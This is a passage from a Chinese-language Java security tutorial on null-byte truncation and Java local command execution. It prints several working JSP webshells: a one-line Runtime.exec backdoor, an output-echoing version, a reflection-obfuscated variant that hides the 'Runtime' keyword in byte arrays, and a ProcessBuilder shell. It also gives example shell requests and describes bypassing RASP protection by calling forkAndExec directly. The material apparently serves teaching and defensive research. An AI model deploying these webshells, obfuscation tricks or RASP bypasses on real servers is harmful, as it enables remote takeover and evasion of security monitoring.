Java空字节截断利用场景最常见的利用场景就是文件上传时后端获取文件名后使用了endWith、正则使用如:.(jpg|png|gif)$验证文件名后缀合法性且文件名最终原样保存,同理文件删除(delete)、获取文件路径(getCanonicalPath)、创建文件(createNewFile)、文件重命名(renameTo)等方法也可适用。
8.5 空字节截断修复方案
最简单直接的方式就是升级JDK,如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节,如JDK的修复方式:fileName.indexOf(‘\u0000’)即可。
9 Java本地命令执行
9.1 Java本地命令执行
Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞或者WebShell来执行系统终端命令控制服务器的目的。
对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说本地命令执行是一种非常有利的入侵手段。
9.2 Runtime命令执行
在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。
Runtime命令执行测试runtime-exec2.jsp执行cmd命令示例:**
1.
本地nc监听9000端口:nc -vv -l 9000
2.
使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。
上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。
runtime-exec.jsp执行cmd命令示例:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--Created by IntelliJ IDEA.User: yzDate: 2019/12/5Time: 6:21 下午To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
命令执行效果如下:
Runtime命令执行调用链
- Runtime.exec(xxx)调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:
1.
Runtime.exec(xxx)
2.
java.lang.ProcessBuilder.start()
3.
new java.lang.UNIXProcess(xxx)
4.
UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
5.
forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。
有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime和ProcessBuilder并不是程序的最终执行点!
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。
- reflection-cmd.jsp示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %><%String str = request.getParameter("str");// 定义"java.lang.Runtime"字符串变量String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});// 反射java.lang.Runtime类获取Class对象Class<?> c = Class.forName(rt);// 反射获取Runtime类的getRuntime方法Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));// 反射获取Runtime类的exec方法Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);// 反射调用Runtime.getRuntime().exec(xxx)方法Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});// 反射获取Process类的getInputStream方法Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));m.setAccessible(true);// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");String result = s.hasNext() ? s.next() : "";// 输出命令执行结果out.println(result);
%>
命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上
9.3 ProcessBuilder命令执行
学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。
- process_builder.jsp命令执行测试
<%--Created by IntelliJ IDEA.User: yzDate: 2019/12/6Time: 10:26 上午To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
执行一个稍微复杂点的命令:/bin/sh -c “cd /Users/;ls -la;”,浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la
9.4.UNIXProcess/ProcessImpl
UNIXProcess和ProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了,参考changeset 11315:98eb910c9a97。
UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。
UNIXProcess类的forkAndExec示例:
private native int forkAndExec(int mode, byte[] helperpath,byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)throws IOException;
最终执行的Java_java_lang_ProcessImpl_forkAndExec:
Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c
很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP提过这个问题,他们只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行了。